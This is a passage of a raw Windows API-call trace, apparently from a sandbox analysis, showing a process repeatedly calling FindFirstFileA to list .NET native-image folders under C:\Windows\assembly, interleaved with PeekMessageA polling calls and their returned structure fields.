ftCreationTime.dwLowDateTime=0x3adda50, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x3adda50, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0x3adda50, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0113.269] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_32\\Presentatio1da2af67#\\34b36caf81d5077c97fe6772828c965a\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3adda50, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x3adda50, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0x3adda50, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0113.271] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0113.287] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0113.288] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_32\\Presentatio49d6fefe#\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3ca6ad0, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x3ca6ad0, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0x3ca6ad0, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0113.290] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_32\\Presentatio49d6fefe#\\a76e4f0828cb0bb42b1625e8c418469c\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3ca6ad0, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x3ca6ad0, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0x3ca6ad0, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0113.294] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0113.296] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0113.297] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_32\\Presentatio4b37ff64#\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3db1470, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x3db1470, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0x3db1470, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0113.298] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_32\\Presentatio4b37ff64#\\48a9e17008fb5ff0cc339205f2872cd8\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3db1470, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x3db1470, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0x3db1470, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0113.302] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0113.304] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0113.304] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_32\\Presentatio53a7a42c#\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3fec910, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x3fec910, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0x3fec910, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0113.306] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_32\\Presentatio53a7a42c#\\7abd8bf8eb07e63ec435ce4f9cee63f2\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3fec910, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x4012a70, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0x4012a70, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0113.308] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0113.310] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0113.310] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_32\\Presentatio5ae0f00f#\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x14c70b60, ftCreationTime.dwHighDateTime=0x1d2e676, ftLastAccessTime.dwLowDateTime=0xb1311900, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xb1311900, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0113.312] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_32\\Presentatio5ae0f00f#\\378968b941a4c3678b1b9977b2010cfc\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9b762ba0, ftCreationTime.dwHighDateTime=0x1d2e676, ftLastAccessTime.dwLowDateTime=0x9b821280, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x9b821280, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0113.314] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0113.317] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0113.317] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_32\\Presentatio84a6349c#\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x30015f0, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x30015f0, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0x30015f0, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0113.319] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_32\\Presentatio84a6349c#\\040f43d5b6953927a95b69ea63419132\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x30015f0, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x3027750, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0x3027750, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0113.321] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0113.323] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0113.323] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_32\\Presentatio84a7b877#\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x342bc70, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x342bc70, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0x342bc70, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0113.324] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_32\\Presentatio84a7b877#\\caf22b4f10f73f9d6034ca4170ed7118\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x342bc70, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x3451dd0, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0x3451dd0, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0113.328] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0113.330] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0113.330] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_32\\Presentatiob3047ded#\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x157e5540, ftCreationTime.dwHighDateTime=0x1d2e676, ftLastAccessTime.dwLowDateTime=0xb18b8d40, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xb18b8d40, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0113.332] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_32\\Presentatiob3047ded#\\536ae5b35c821c6552d84b30b37bbc76\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa53e5220, ftCreationTime.dwHighDateTime=0x1d2e676, ftLastAccessTime.dwLowDateTime=0xa540b380, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xa540b380, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0113.335] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0113.337] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0113.338] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_32\\Presentatiod51afaa5#\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x15133760, ftCreationTime.dwHighDateTime=0x1d2e676, ftLastAccessTime.dwLowDateTime=0xb13a9e80, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xb13a9e80, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0113.339] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_32\\Presentatiod51afaa5#\\df266faa13246b82bf5ccb61f0a34576\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa08c3bc0, ftCreationTime.dwHighDateTime=0x1d2e676, ftLastAccessTime.dwLowDateTime=0xa08c3bc0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xa08c3bc0, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0113.342] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0113.344] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0113.345] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_32\\PresentationCore\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1046f1e0, ftCreationTime.dwHighDateTime=0x1d2e676, ftLastAccessTime.dwLowDateTime=0xb199d580, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xb199d580, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0113.346] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_32\\PresentationCore\\cc5597c4cd1c40ee90289bec6a96ccea\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x96ff97a0, ftCreationTime.dwHighDateTime=0x1d2e676, ftLastAccessTime.dwLowDateTime=0x9701f900, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x9701f900, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0113.350] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0113.354] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0113.354] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_32\\PresentationUI\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x47a9090, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x47a9090, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0x47a9090, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0113.356] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_32\\PresentationUI\\b9f5e214df8d547c90d11822f4f862f3\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x47a9090, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x47a9090, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0x47a9090, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0113.357] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0113.360] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0113.361] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_32\\ReachFramework\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5f04870, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x5f04870, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0x5f04870, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0113.404] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_32\\ReachFramework\\4bf9276371a4b5741a62270598858af0\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5f04870, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x5f04870, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0x5f04870, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0113.415] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0113.426] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0113.427] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_32\\SMDiagnostics\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x16e10220, ftCreationTime.dwHighDateTime=0x1d2e676, ftLastAccessTime.dwLowDateTime=0xb1c97100, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xb1c97100, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0113.428] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_32\\SMDiagnostics\\a975b6c5a662c3ec2680fad92297dca9\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa6ace5e0, ftCreationTime.dwHighDateTime=0x1d2e676, ftLastAccessTime.dwLowDateTime=0xa6ace5e0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xa6ace5e0, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0113.430] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0113.433] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0113.433] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_32\\SMSvcHost\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a2530, ftCreationTime.dwHighDateTime=0x1d2faef, ftLastAccessTime.dwLowDateTime=0xfd7a2530, ftLastAccessTime.dwHighDateTime=0x1d2faef, ftLastWriteTime.dwLowDateTime=0xfd7a2530, ftLastWriteTime.dwHighDateTime=0x1d2faef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0113.435] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_32\\SMSvcHost\\4f305ba7b576bf553ec8e00b07e9604c\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a2530, ftCreationTime.dwHighDateTime=0x1d2faef, ftLastAccessTime.dwLowDateTime=0xfd7a2530, ftLastAccessTime.dwHighDateTime=0x1d2faef, ftLastWriteTime.dwLowDateTime=0xfd7a2530, ftLastWriteTime.dwHighDateTime=0x1d2faef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0113.435] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0113.439] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0113.439] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x43ebea0, ftCreationTime.dwHighDateTime=0x1d2e676, ftLastAccessTime.dwLowDateTime=0xb249fb40, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xb249fb40, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0113.440] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System\\500ffa28b327e171fe664023003e947e\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x93451040, ftCreationTime.dwHighDateTime=0x1d2e676, ftLastAccessTime.dwLowDateTime=0x934771a0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x934771a0, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x360039, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0113.441] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0113.444] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0113.445] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Acti2661942e#\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x914d930, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x914d930, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0x914d930, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0113.446] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Acti2661942e#\\0ade7f4141ffc2f62fc25ad38489b857\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x914d930, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x914d930, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0x914d930, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0113.449] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0113.459] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0113.461] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Acti31fd6628#\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8a4f890, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x8a4f890, ftLastAccessTime.dwHighDateTime=0x1d2faf0, 